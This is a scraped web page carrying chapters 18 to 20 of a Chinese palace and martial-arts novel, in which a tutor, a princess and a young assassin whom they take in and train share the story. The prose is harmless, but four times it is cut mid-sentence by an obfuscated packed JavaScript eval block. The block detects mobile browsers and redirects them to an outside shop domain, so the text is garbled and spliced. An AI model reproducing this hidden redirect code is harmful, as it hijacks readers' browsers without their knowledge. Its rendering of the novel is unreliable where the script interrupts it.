l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412415|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首犯三人押入京中,斩首于市,从犯流放千里充役,无诏再不入京。 “哎!”消息传来时,金玉泠舒服地伸了个懒腰,“果然就像鱼鱼你说的那样,父皇这次会彻查,我们只要抓住其中一个人的把柄,其余的还不是手到擒来,根本不用操心。” “嗯哼。”池千鲤斜斜地倚在门边,应了一声,随即板起脸道,“你该去温习昨天的功课了。” “不是吧!”金玉泠脸一垮,“这马上都要过年了,琼华殿里的先生都要放假了!” “三。” “我不管,今天就不复习,你能把我怎么样!” “二。” “说什么都不去!” “一。” “……我去复习了。” 就在金玉泠垂头丧气地去复习功课,预备抽查的时候,门被敲响了。 池千鲤刚要去开门,金玉泠抢先一步,飞也似的冲过去,笑靥如花地把人往里带:“请进!请进!” 池千鲤好气又好笑地瞪了金玉泠一眼。 来的是明齐帝身边的申公公,他谄媚异常地对着金玉泠笑:“奴才给二公主请安!这几日不见,公主气色更加好了,真乃人面桃花相映红!” “是吗哈哈哈哈哈哈!”金玉泠一听就乐了,笑得停不下来,“申公公可真会说话!” 池千鲤稀奇地看着外面,现在还是冬天,哪来什么桃花? “今儿奴才来,是因为皇上传唤二公主呢。”申公公话锋一转,“具体的奴才也不清楚,不过陛下面有喜色,想必是二公主帮陛下勘破了大案,陛下一高兴,要赏您呢!” 话还没说完呢,金玉泠就高兴地跑了,不过照池千鲤看,她高兴还真不是因为那什么赏,而是可以不用温课。 事实上还真是如此。金玉泠是嫡长女,明齐帝一向十分宠爱,从小到大要什么样的赏赐没有,甚至就连她小时候闹性子不去上学,明齐帝都会摸摸她的头,说玉泠不想去,那就不去。 当然,不知道什么时候起,她再也不会闹性子不上学了。 池千鲤看着小姑娘欢脱地跑出去的背影不由得失笑,想着松快松快也好,金玉泠不是不学无术的孩子,她有数的,何况这几日确实学得有些过多了。 金玉泠走进明齐帝的房间,胡乱地请了个安:“儿臣参见父皇!” 听到笑着说起来的声音时,她抬起头,却发现了另一个意想不到的身影。 小公主不由得好奇道:“咦?大哥也在?见过大哥。” “二妹不必多礼。”金清宸温和地看着逐渐长大的金玉泠,叹道,“没想到二妹小时顽劣,如今也可担起重责,为父皇分忧,为兄自惭形秽,有二妹在,实乃我大越之幸。” 金玉泠笑了笑不置可否,倒是明齐帝突然出声:“清宸不必妄自菲薄。” “今日喊玉泠跑这一趟,”明齐帝面上仍然含笑,“是朕在政事上有一难题,想请玉泠和清宸分别帮朕看看,此事作何解法。” 半个时辰后,望着正探讨得火热的兄妹俩,明齐帝的眸光渐渐深邃起来。 慢慢地,他的目光定格在气势明显更胜一筹的金玉泠身上。 18. 深宫客难掩江湖气(四) 不过这些,池千鲤都不得而知了。她现在正忙着备第二天的课,以及帮小公主收拾回去的行李。 愉快又惊险的江南之行结束了,按着宫里的规矩,池千鲤一行人必须要在过年之前赶回宫,大年夜在宫里过。由于今年在外匆忙,明齐帝特特下旨,取消今年大年夜的宫宴,改在正月十五过上元宫宴,正好和金玉泠的生辰宴一起过,也算是破了这桩贪腐案的庆功宴。 三喜同庆,这么大的盛事,自然要邀请京中大小官员俱都齐聚一堂。金玉泠和金玉满两个爱热闹的小女孩听说此事都很高兴,分别和裴家的和楚家的姑娘约好游园。 “我们再叫上老四吧?”刚赶回来的金玉泠凑上来。 眼下小姑娘们都跑到金玉泠的房间里来了,叽叽喳喳地兴奋讨论着下个月的宫宴,池千鲤一边收拾东西一边听,倒也不觉得吵闹。 “老四?可是老四好闷啊,每次跟她说话都要好小声,好怕吓着她。”金玉满四仰八叉地躺在金玉泠的床上,被后者愤怒地一踹而下,灰溜溜地爬起来蹭到楚清乐身边。 楚清乐想了想,委婉地说:“四公主上次大测得了满分,我也想跟她请教请教学习方法呢。” 金玉满立刻改口:“行,既然清乐同意,那就叫上老四!” 裴婉仪板着张脸:“我都行。” “行!”金玉泠兴奋地一跃而起,“那就再加一个!我们六个人玩!” 池千鲤在旁边淡淡地提醒道:“是五个人,二公主您数错了。” 这话一出,四道古怪的目光都向她投来,反倒让池千鲤愣了一愣。 裴婉仪上下打量她一眼:“你不是人?” 金玉泠连忙捂嘴,赔笑道:“婉仪的意思是,你不来玩吗?哈哈哈哈哈。” “我?”池千鲤意外地指指自己。 四人齐声道:“对啊。” “……”池千鲤不太确定地问,“我是第六个人?” “不是啊,”金玉泠很果断地摇头,“你是第一个人。” 楚清乐眼巴巴地望着她:“你不来玩吗?” 池千鲤沉默了一会儿,突然露出一个笑:“来,怎么不来?” 四人欢呼起来,不一会儿就揭过这个小插曲,又七嘴八舌地讨论起了其他的事儿。 好吧,池千鲤想,这些小崽子们。 就陪她们玩玩吧。 不知是不是金玉泠的错觉,她的余光好像瞥到,池千鲤紧绷的肩膀在这一刻突然一松,好像有什么东西在她身上悄然变化。 金玉泠没有多想,很快就把这一茬忘记了。 两个时辰后,这些小孩子叽叽喳喳地上了车,浩浩荡荡地踏上回京的旅程。 金玉泠拉着朋友们坐自己宽敞的车,本来还想去叫金清宸的,结果他说自己被明齐帝喊去开小灶补习朝政了。 “你看,”池千鲤抬头,“别的学生都要补习。” “……”金玉泠目移,“老三还有婉仪清乐待会儿都来呢,要不我们回去再补……” “没关系,”池千鲤毫不在意,“你们四个一起。” 金玉泠:“……” 一股寒意从背后升起,金玉泠不由得在心里为三个没经过池千鲤毒打的小朋友默哀。 老三!婉仪!姐尽力了!你们好自为之吧! 金玉满正收拾东西准备去她二姐车上坐,突然打了个喷嚏,紧接着,不远处的裴婉仪和楚清乐也纷纷发出喷嚏声。 “今天是怎么了?”金玉满托着腮,眯起眼睛,沉思起来,“我怎么感觉动了谁的蛋糕呢?” 半炷香后,金玉满总算知道她动了谁的蛋糕。 她呆滞地看一眼桌上堆成小山一样的史书,偏过头看一眼看着脚趾的金玉泠,抬起头看一眼死亡微笑的池千鲤。 “哈哈哈哈哈哈你们先玩吧我想起来我还有事呢!”金玉满一个激灵,爬起来就往外跑,“我父皇要生老五了我得去接生呢哈哈哈哈哈哈!” 裴婉仪也面色十分不好地站起来并且嘴瓢道:“我姑父要投胎了我得赶去看看今天不作陪了!” “哦?”池千鲤缓缓眨了一下眼睛,一个闪身把两人都抓回来,丢在地上笑道,“这便巧了,我们的陛下是怎么做到一边生老五一边投胎的?嗯?” ……坏了,裴婉仪和金玉满对视一眼,忘记对口供了。 “清乐你呢?”池千鲤没理这尚且心怀幻想的两人,转而问向余下的一人,“你母亲父亲、姑姑姑父、舅舅舅母可有什么不好的?” 楚清乐小心地觑了一眼那还在试图往外跑的两人,缩缩脖子:“没有。” 池千鲤赞赏道:“还是清乐最听话了。” 旋即一手一个,把挣扎着的两小只放到座位上了。 制服了这两小只,池千鲤转身翩翩入座:“二公主读一百五十三至二百五十三页,其余人读第一页至第一百页,读完了找我抽查。” 众人垂头丧气地开始读起书来,一个个看着都快哭了。 大约过了半个时辰,金玉满这个背书苦手已经看着第一页快睡着的时候,马车突然咔哒一声停了。 金玉满一下回神,下意识地以手撑头并且抖起腿来,假装自己正读得认真,并且把书翻到了第二页。 池千鲤斜睨了一眼金玉满,下车去看情况了。 刚一下车,身后就哗地一声炸开了锅: “老三你怎么动都没动?再过半个时辰还没读完鱼魔头要一个一个查了!” “什么!马车都出问题了还背书呢?!” “就是天打雷劈劈你身上了都照样要背。” “啧,她是人不?” “鱼姑娘对二公主你可真是严格……” 池千鲤好笑地听着这些孩子们自以为很小声的叽里呱啦,没有返身回去教训,转而看向车夫:“出了什么事?” 车夫也认得她,客气地拱了拱手道:“池姑娘,是前头陛下的马似乎正闹脾气,不愿走呢,也不知是什么原因,前面的车夫正在看。” 池千鲤皱皱眉头:“就不能给陛下换一匹马?” “这是西边儿齐国进贡来的好马,陛下舍不得呢。” 西齐的好马? 那不就更不应该出事故吗? 池千鲤一边慢慢往前头踱去,假装看马,一边不动声色地环顾四周。 这人要是只想耽误他们脚程,倒还好说,怕就怕是有刺客…… ……咦? 她离明齐帝的车驾已经很近了,人群来来往往,还夹杂着中年男人的怒斥声,看上去大家都各司其职地忙碌,不过,有一个不该出现的人吸引了她的目光。 找到你了。 一片阴影投射下来,小女孩慢慢地抬起头,眯起眼睛注视着池千鲤,随即脸色变了一变。 “早上好,小姑娘。”池千鲤低头看着满脸煤黑的小女孩,笑了起来,只是那笑却未及眼底,“你很贼心不死嘛,没记错的话,这可是我第三次见你了?” “你跟你哥哥姐姐一起来的时候,我就说过,下次见你,就没有那么简单从我手下逃走了……!” 话语间,手腕一转,寒芒一闪,就要出招。 倒没有想打死这小女孩,毕竟也是个可怜人,不过像上次四个人一起来的时候那样,打晕了扔给她妹还是可以的。 她妹妹……池千鲤感知了一下气息,就在离这里三条巷子的胡同里,正看着自己的姐姐对抗她,气息很乱,应该很慌。 池千鲤眯起眼睛,虽然不想把你打伤,不过这也没办法,至少肯定死不了。 再见了,小朋友。 “哎?!”正在此时,一个毛茸茸的身影窜出来,惊喜地喊道,“你不就是上次那个姑娘?!真没想到还能再见到你!” 池千鲤一惊,连忙收回手中的招式。 她不悦地看着金玉泠:“你来干什么?” 后者得意地扬了扬手中的书:“我背完啦!来找你抽背!” 池千鲤正想隐晦地告诉金玉泠,这小女孩是刺客,突然一个中年男子冷肃的声音在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412416|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后响起:“玉泠来了啊。” 是明齐帝。 池千鲤太阳穴上的青筋一跳一跳的。 真是早不来,晚不来,偏偏这个时候来。 这个多疑的老头,要是知道这姑娘是刺客,打死都算轻的了,一个不好给人家九族诛了。 绝对不行。 偏偏这个时候金玉泠还跟她父皇说:“父皇,这个姑娘我见过一次,她好可怜噢,我可以带她去洗把脸吃点东西吗?” “自然可以。”明齐帝看向金玉泠的目光不知为何不似往日一般亲热了,不过也仍是夸奖了几句,“玉泠真是心地善良。” 金玉泠蹦蹦跳跳地拉着踉踉跄跄的小姑娘走了,池千鲤紧随其后,就算不限制这个姑娘的行动,待在金玉泠身边保证其安全她还是做得到的。 金玉泠跑到马车上,招呼三个小伙伴,三个孩子明显也都认出了这个有过一面之缘的小姑娘。听金玉泠讲述事情缘由后,三人都忙着从包裹里抓点心给这姑娘吃,其中以因为突发事件不需要读书而乐翻天的金玉满最为积极。 金玉泠则去招呼车夫烧水。 池千鲤皱着眉头,一直在旁边冷冷地旁观。那姑娘手上抓着点心,上一刻还是满含不知所措的感激,下一刻目光就挑衅似的瞥向了她。 池千鲤差点被气笑了。 “你好可怜呀,”听这姑娘嗫喏地讲了全家饿死的遭遇,楚清乐不忍地开口,“要不,你跟着我们去京城吧?你可以来我府里做工。” “这种事情怎么让清乐你来做呢,”金玉满唏嘘道,“不如你来我这儿吧?” “你们都别吵了!”金玉泠拍拍桌子道。 池千鲤见状,欣慰地点了点头,她刚刚几次想开口,都被那乞丐姑娘有意无意地挡开了,气人得很。果然还是她这学生最了解她,看到了她想说话。 刚这么想着,池千鲤便出声道:“诸位,其实……” “姑娘你不如跟着我!” 池千鲤一噎,表情惊愕地看着金玉泠。 她收回刚才的评价。 “真的可以吗?”那姑娘做受宠若惊状,欣喜地看向金玉泠。 “那当然可以了!” 那当然不行了! 这不是给自己埋了个爆炸火药吗! “那……” “那就这么说定了,这位姑娘您真是大善人!”这乞丐姑娘感激地道,同时冷冷地瞥了池千鲤一眼。 池千鲤再一次被打断话,气得差点立地再次飞升。 正说着,水烧好了,车夫端着热水进来,楚清乐上手亲自给这姑娘擦脸。 “你刚刚想说什么?”金玉泠凑过来,与池千鲤咬耳朵道。 ……总算还有人注意到了。 池千鲤皱眉看着那姑娘:“这小女孩她……” 她虎口有茧,练的是长枪,是那晚刺杀你的刺客之一,你不能带她回去,指不定哪天我一个没注意,你就死在她手上了。 当楚清乐往这小姑娘脸上一抹,把煤黑全部抹掉之后,所有的话,被池千鲤堵在嗓子眼里,再也说不出来了。 这姑娘察觉到了池千鲤的目光,顺势回望,满含戾气,颇给人一种龇牙咧嘴的小兽感觉。 “她怎么了?”金玉泠催促道。 “……她可以带回去。”池千鲤不知为何突然变了,她的声音柔和下来,仿佛卸下所有防备似的。 金玉泠奇怪地看了池千鲤一眼,嘟嘟囔囔地跑去跟乞丐小女孩说话了。 “哎呀,对了!”金玉泠一拍大腿,“你还没有告诉我你的名字呢!你叫什么?” 小女孩仍然带着不加掩饰的厌恶和忌惮,与池千鲤嚣张地对视。听到这话,她嘴唇轻动,与池千鲤在心里默念的声音重合: “明镜。”她重复了一遍,“我叫明镜。” 人声喧嚣鼎沸,池千鲤跨越时空,与这个叫明镜的女孩对上目光。 “初次见面,”她迎着那道警惕的目光,挑挑眉笑起来,“你好,明镜。” 19. 三人组齐聚魔鬼训 明镜一路上都警惕地盯着池千鲤,但这个奇怪的人并没有任何对她发难的意思,这反而让她更加担惊受怕。 身边的公主小姐们叽叽喳喳地围绕在她旁边,加上心头一直萦绕着事,让她感觉烦得慌,答话也越发敷衍。 “咦?”金玉泠睁大眼睛,“你居然都十四岁了?还比我大一些呢。” 说着她越发怜悯地看了看明镜瘦削的身板,在心中打定了主意。 池千鲤见到这一幕,意味不明地笑了笑。明镜见有异动顿时炸毛,可见池千鲤没有攻击的意思,又慢慢放松下来,心底也生出一丝疑惑。 她来堵截这列车,就是想借机混上来,好随他们一起回京,潜伏在宫里杀掉皇帝。原本她还对池千鲤十分提防,这个人上次就已经看穿她的身份了,此次怕是会成为很大的阻力。 可不知什么时候起,这人突然就用一种很肉麻的目光看着她,还一脸理解和关心,这都哪里跟哪里?这是什么新的武林秘法吗?把人恶心死? 并且此行也太顺利了,她原本想的是打晕一个宫女换上对方的衣服混进队伍,风险很大,随时可能会被揪出来扔出去,或者被那个该死的皇帝乱棍打死。谁曾想这个缺心眼的公主居然就这么说要把她带回京城了?且对面这个恶心的家伙还没有异议? 这怎么想怎么有问题。 明镜逐渐如坐针毡起来,开始担忧起自己的四妹。 她那边不会有什么问题吧?这会儿已经像她们说好的那样,回去拖住老大老二了吗?还是被抓住了?一切安全吗? 金玉泠看明镜坐立不安,以为她又饿了,心中越发同情,于是开口道:“没事儿明镜,待会儿就到驿站了,你多吃点。” 啊? 明镜不解其意地看了她一眼,心中浮起一阵不祥的预感。 驿站里,明镜呆若木鸡地看着自己面前像小山一样堆起来的食物,并且金玉泠还在往她碗里夹:“吃呀明镜,你刚刚不是饿得慌吗?” 池千鲤默默地把金玉泠掰回来,撬开她嘴投喂,对面桌上的裴皇后总算才低下头去。 明镜不可思议地仰望着一碗荤素搭配甚至还有点心的吃食。 这是什么新的秘法吗? 把人撑死? 金清宸也坐小孩这桌,他抽抽嘴角,委婉提醒道:“这是否太多了?” “什么?不多不多!”金玉泠小手一挥,“你没看到,她刚刚在车上都饿得口吐白沫了!” 楚清乐弱弱出声:“有这回事吗?” 池千鲤笑得像个狐狸,看了一眼吃瘪的明镜接道:“有。” 换来后者怨恨的目光。 这么笑着闹着投喂着,很快就到了京城,一刻不得歇地,大家又开始忙活过年的事儿了。 不过说忙,也忙不到金玉泠头上,明齐帝忙着批阅堆积的奏折,金清宸大了要在旁学习,裴皇后开始忙碌宫宴的事情,凌贵妃不知道做了什么反正显得很忙。临近年关,琼华殿里的夫子也请了假,所以她整天就在宫里游手好闲,没过几天,就被池千鲤抓去学习了。 只不过这次,教材却有些不一样,池千鲤本人也有些不一样。 金玉泠满脸震惊地看着眼前的奏折:“这是什么!你哪来的!” 池千鲤顶着两个大黑眼圈:“我去御书房誊的你父皇的奏折。” 她看上去精神头坏极了,话音未落,居然砰地一声砸到桌子上,倒头就睡过去。 其实池千鲤一直焦虑,金玉泠毕竟起步这么晚,而且纸上谈兵这么久,也没有实操经验,会不会欠缺了?会不会跟不上?会不会听不懂?会不会坐不住? 毕竟,她也是第一次当老师,也会担忧自己做得是不是不够好。她没有办法像明齐帝教导金清宸那样,给金玉泠提供一个言传身教的良好环境,很多时候,很多问题,就连她自己也是前一个晚上才熬夜搞懂。她不是真正意义上的鬼,她也会累,要睡觉,要补充体力,所以到第二天,她讲课效率就会低。 池千鲤很愧疚。 金玉泠是天下最好的学生,她聪明、好学、即使偶尔调皮也从不躲懒,可是池千鲤不是天下最好的老师。 意识模糊前,池千鲤的脑海里就这么想道。 待到她醒来,已经是傍晚时分了。 她呆愣了几息,随即猛地一个激灵,爬起来去翻看金玉泠的作业。 已经过去半天了?她有没有好好做作业? 等到池千鲤起身,抬头看过去时,却因为眼前的景象怔住了。 金玉泠睡着了。 她执着笔,墨汁晕在眼前的宣纸上,面前一大叠卷轴小心地叠好,都是写好的作业,看上去写了一下午。 池千鲤轻轻地拉过那堆卷轴翻看起来。 那堆作业写得很认真。 金玉泠的字池千鲤看过,跟鬼画符一样,歪歪扭扭的,但是这里面的一撇一捺都写得工工整整。 池千鲤一页一页翻过去,偶尔还会看到小姑娘画的哭脸,旁边批注不会做,或者看到一个个小墨团。 她鼻子突然一酸,金玉泠有个习惯,她在思考的时候,会不经意地在卷纸上画墨团团,说不听,改不了,慢慢地池千鲤就习惯了,每次发现纸上有墨团,她就知道,这次金玉泠写得很认真。 她每一次都很认真。 池千鲤也不知道是从什么时候开始的,现在想来,或许是很久很久以前,她说: “我想做什么都没有用,以后做什么又不是我自己说了算。” 人也许就活这一口气,也许拼尽全力,就活这说了算的一回。 门前的风铃轻轻地响了,池千鲤回过神来,发现明镜正警惕地露出半只眼睛望着自己。 池千鲤调整好情绪,放下卷轴,向明镜招手: “过来。” 明镜嗓子里发出低呜,眼睛眯成一条缝,像是一只受到威胁的幼猫。 池千鲤失笑:“过来,有话跟你说。” 明镜犹豫片刻,还是走了过去,然而她并未放松戒备。 池千鲤舒了一口气:“你想不想学武?” 这话一出,明镜像被雷劈了一样,不可置信般抬起了头,眼睛一眨不眨地望着池千鲤。 “你说什么?”她喃喃自语般又问了一遍。 “我说,”池千鲤笑起来,斜阳自她的鬓边打过,给她镀了一层柔和的金边,“你想不想学武?” “我本来就学。”明镜后退了一步。 “你的臂力很成问题,根基也不稳。”池千鲤蹲下身,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412417|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了指她的小臂,“你实在是太瘦了,需要多吃一点。” 所以金玉泠塞给这小姑娘饭的时候,池千鲤没拦。除了自己的坏心思想看明镜吃瘪外,也有这一层原因。 明镜没有说话,嘴抿成一条直线,整个人绷得紧紧的。 池千鲤耐心地等待,也不急着催促,拿起金玉泠的作业继续看起来。 “为什么要帮我?”最后,这小姑娘哑声问道,“我以为你把我带回来是想杀我。” 池千鲤发出一声哑笑:“第一,我根本就没想杀你,就算在江南,也只是想把你打晕罢了。我还没有不讲武德到对一个小孩子下毒手。” “至于为什么要帮你……” 因为你是未来的战神监兵神君,在我陨落千年之后,新生的第一武神。 池千鲤莞尔一笑:“你就当是好玩吧。” “好玩?”明镜将信将疑地问道。 “没错。”池千鲤随手拎起一把折扇笑道,“因为整天呆在这宫里好无聊啊,想找些乐子。怎么样,来学吗?” 明镜还是没有回答,两只手紧张地绞着裙摆。来了京城以后,金玉泠给她购置了一堆新衣服,现在她穿的衣服很合身很干净,这反倒让她稍微有点不习惯。 如果,她是说如果,这个池千鲤真是一个好人,真要教她学武呢? 她的武学,明显在大姐二哥之上。大姐是全江南最厉害的侠客,竟然被她两拳制服,眼下这人向自己拋出了橄榄枝,这可是千载难逢的机会! 她小心翼翼地抛出最后一个问题:“你不怕我学成之后杀了你那位宝贝公主?” 这次池千鲤没有正面回答,而是反问道:“你会吗?” 明镜反倒愣了一下。 “当你问出这个问题的时候,”池千鲤用折扇轻轻挡住自己下半张脸,神色不明,“我就有答案了。” “明天开始训练。” 于是第二天开始,池千鲤的日程又多了一项——教裴明镜习武。 噢,对了,这个裴字,乃是裴皇后回宫后,听说了明镜的父母皆在她幼时就已不在,甚至这孩子不知他们姓名,大为心疼,便点了自己的姓氏裴,作为明镜的姓。 池千鲤挑挑眉:“你怎么看?” 裴明镜面无表情:“圣命难违,而且读着挺顺口的,就这样呗。” “行,”池千鲤拉着裴明镜的手,“皇后也见过了,接下来开始训练!” 池千鲤的日程表非常严苛,完全按着自己当年在师父手下那样给裴明镜定制日程。 要说在政治上,她还愧疚自己不是个好老师,但在武学上,池千鲤是十分有自信的。 “跑快一点,”池千鲤躺在草坪上,懒懒地抬手打了个响指,示意裴明镜注意她说的话,“不够快!加速!再这么慢给我加一百圈!” 裴明镜呼哧呼哧地喘着气,咬牙加速。 “对,就是这样,”池千鲤欣赏地看着跑成虚影的裴明镜,“还有五十圈就结束了!” 听说被捡回来的小姑娘在跟着池千鲤习武,想要来凑热闹的金玉满:“……” 金玉泠抱着一大叠作业站在旁边:“你还想学吗?” “不了,”金玉满缩了缩脖子,“这看上去不是人可以学的。” 20. 千门万户皆曈曈日 “可以了,去喝水吧。” 裴明镜一听这话,累得直接往地上一栽,趴在地上呼哧呼哧地喘气。 然而池千鲤没有半分放松的意味,往金玉泠那边招招手示意她把作业拿过来,顺便转头冲裴明镜说:“休息一炷香,然后起来下一个训练。” 裴明镜气若游丝地点了点头,抓着地上半枯的草移向水缸的方向。 金玉泠把作业交了,回头刚想找金玉满说话,却见她早已趁乱跑了。 池千鲤正批着作业,掀起眼皮看了一眼,恨铁不成钢地道:“跑了?” 金玉泠点点头。 池千鲤无奈地叹息一声。 先前她挑了几本武学入门功课给金玉满学,前段日子想起来去问,结果那小孩支支吾吾,一问才知道根本没看,把池千鲤气得不轻。 后来捡回来了裴明镜,池千鲤又记起这一码事来,想着虽然执明不是武神,但也可以在一旁跟着看看练练,总没有坏处,这才放消息到金玉满那边,想让她一起学。 结果瞧瞧这是什么事! 池千鲤没好气地抬眸看了金玉泠一眼,低头画了个叉:“你妹妹也太不让人省心了!都是被你和你母后给惯坏了!” 半天没听到回答,一抬头,发现这人竟然在憋笑。 池千鲤拧眉:“你笑什么?” 这话一问出口,金玉泠再也憋不住了,就连端着水碗蹭过来的裴明镜也笑,池千鲤作势要打,两个孩子把碗和作业都摔了掉头就跑。 “昨日明镜跟我说,你像操心的老妈子。”金玉泠离得远远的,还在嘿嘿嘿笑,一边笑一边跟池千鲤解释。 裴明镜连忙摇头:“不是我!是她说的!” 池千鲤又好气又好笑:“好啊你们两个,还敢编排老师了!” 说着放下作业就追上去,两个孩子笑闹着险险避开,三人欢声笑语地在枯了一半的草地上追打着玩,最后都跑累了,并排着仰躺在大草坪上。 “不过鱼鱼确实比刚来的时候活泼多了。”金玉泠突然开口。 “有吗?”池千鲤眨眨眼睛,她自己并没觉得。 “有。”金玉泠偏过头来,认真地看向池千鲤,“我真高兴。” 池千鲤笑了:“高兴什么?” 金玉泠斟酌了一下用词:“高兴你眼中的阴霾终于散去了。” 池千鲤的笑慢慢怔住了。 一阵大风吹过,枯草叶子窸窣地响,冬天的风有点寒凉,池千鲤脸上那道疤有点微微的冷。 “好啦,”她若无其事地站起来,拍拍身上的泥土草叶,“起来吧,明镜该练枪了。” 裴明镜慌忙爬起来。 说是练枪,当然不可能是真枪,否则她们三个都得被抓起来盘问。这枪只是池千鲤削的一根长木棍,裴明镜每天就拿这个比划。 她在练武场上摆好架势,操起木棍直直往前一送,那样式正是长枪第一式的扎。 说练武场,也不是专业的练武场,老实说,池千鲤也并不满意这块地方,皇宫内正式的练武场在上书房那边,凭她们的权限是没法过去的。池千鲤找了好久,换了好几处地方,才找到御花园后山处这块稍微满意一点的空旷地方给裴明镜习武。 总而言之,非常草台班子,一切设施都像是小孩子过家家。不过池千鲤觉得,这些东西都是次要的,习武习武,一是看学生悟性,二是看老师能耐。 第一点裴明镜绝对没有问题,第二点池千鲤更是人中翘楚。 她虽是剑修,但是什么武器拿到都能耍两下,长枪这种最常见的更是不在话下。 “比昨天有进步。”池千鲤严格道,“但不够快,速度再快一点!” 裴明镜依言重新蓄力,又快又狠地把□□出。 “手腕不要耷!”池千鲤飞身上前,绕到裴明镜背后,把她手腕一抬,“抓紧!” 裴明镜眼神一凝,重新比划了一下:“喝!” “很好!”池千鲤鼓掌道,“下一个动作!” “劈砍力度要大!” “转枪转得太慢!重来!” “崩枪怎么崩成这样?跟你说了多少遍了要短平快!” “…………” 当裴明镜生无可恋地回到屋里时,金玉泠已经见怪不怪了,只是扫了她一眼,就把桌上新写的作业整理整理给池千鲤批阅,顺便交上了新理的错题集。 “你都不关心关心我的吗?”裴明镜居然还有力气跟金玉泠斗嘴。 金玉泠耸了耸肩。 一个多月前裴明镜第一次训练回来,她的确吓了一跳。当时裴明镜脸色白得像纸,身上还青一块紫一块,让她一度以为这姑娘要死了。 当时就算她关心,这人也不领情,像是被池千鲤识破伪装后彻底撕破脸了,木着脸一动也不动,话也不讲,就知道吃饭睡觉和练武,胃口还大得要命,一顿饭就能吃十五个肉包和半只烧鸡。 谁曾想呢,一个月下来两人早已成了狐朋狗友和挨骂搭子。并且该说不说,这个年纪的小孩子好好吃饭就是长得快,刚来的时候跟金玉泠一般高,现在已经快跟池千鲤齐平了。 当然,也有可能是练武的原因。不过池千鲤可不会这么讲,她只会拎着金玉泠的耳朵让她像裴明镜一样好好吃饭。 烦得很,不过金玉泠被训了还是会听话两天。 “对了。”三个人吃着饭,金玉泠突然抬起头,“我母后让我今晚去她那儿呢,你们俩也一起来呗,我们打牌。” 池千鲤一愣:“好端端的怎么你母后让你去她那边?” 金玉泠怪异地看向她:“自然是守岁了!今儿可是年三十!” 池千鲤这才恍然,原来已经快到新的一年了,自己来到这里也已经整整大半年,她竟从未觉得时间过得这么快过。 “对了对了,”金玉泠转向裴明镜兴奋道,“老裴你还不知道吧?正月十五是我的生辰呢!” “真的?”裴明镜看起来异常震惊。 金玉泠有些纳闷:“你也不用这么震撼吧。” “不是不是,我只是觉得特别巧。”裴明镜摆摆手,“你的生辰是上元节,我的生辰是下元节呀!” 池千鲤闻言挑眉:“这可巧了,我的生辰是中元节。” 两人齐齐望过来。 “哎呀!”金玉泠更兴奋了,“我们三个连生辰都这么有缘,难不成是注定要做朋友的?” 池千鲤也笑:“我觉得是呢。” “那不如给我们三个的团体起个名字吧!”金玉泠眼睛亮亮的。 “好呀,”池千鲤低头扒饭,“你想叫什么?” 裴明镜也对这个话题很感兴趣,期待地望向当事人。 金玉泠托着下巴想了好久,眼睛一亮:“就叫连中三元!” 池千鲤:“……” 裴明镜:“……” 池千鲤毫不掩饰地显示出嫌弃:“好难听。” 金玉泠不服气:“哪里难听了!” 说着她望向裴明镜,想让后者说句公道话。 “……”裴明镜委婉道,“要不再想想吧。” 得到两个同伴否定的金玉泠立刻像泄了气的球,无精打采地趴在桌上:“可我觉得很天才啊!” 池千鲤不敢苟同地翻了个白眼。 饭后,三人像幼儿园小朋友那样排着队去了来仪宫。 一进大门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412418|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就有一个小红团子扑过来:“姐!” 金玉满今天下午回去换了衣服,现在整个人裹着大红袄子,穿着大红马面裙,披着大红披风,头上还用红蝴蝶结扎了两个小巧玲珑的丫髻,整个人红彤彤毛茸茸的,像一只小福娃娃。 看到这身衣服,池千鲤才一眨眼睛,惊觉自己忘了一件很重要的事。 金玉泠喜穿金,裴明镜爱穿黑,她自己更是由于职业原因,常年穿一身哭丧一样的白,头上连朵象征性的绒花都没有,就一条白缎带,看着阴森森的像是要闹鬼。 好吧,闹她和闹鬼也没什么区别。 总之,这帮人里面没有一个穿得像是要过年。 显然,后脚跟来的裴皇后也是这么想的,她看到三人,吓了一跳,下意识地惊道:“这是哪来的哭丧班子?” 金玉满不满道:“母后,那明明是二姐她们三个。” 裴皇后这时也认出来了:“你们穿成这样做什么?” 三个人目光向各处移,就是不看裴皇后。 “得了,”裴皇后没好气地招手,“都进来吧,换身衣服。” 说换衣服,可这里只备有金玉泠的尺寸,池千鲤和裴明镜两个练家子长得高,这一进来比对,裴皇后可犯了难。 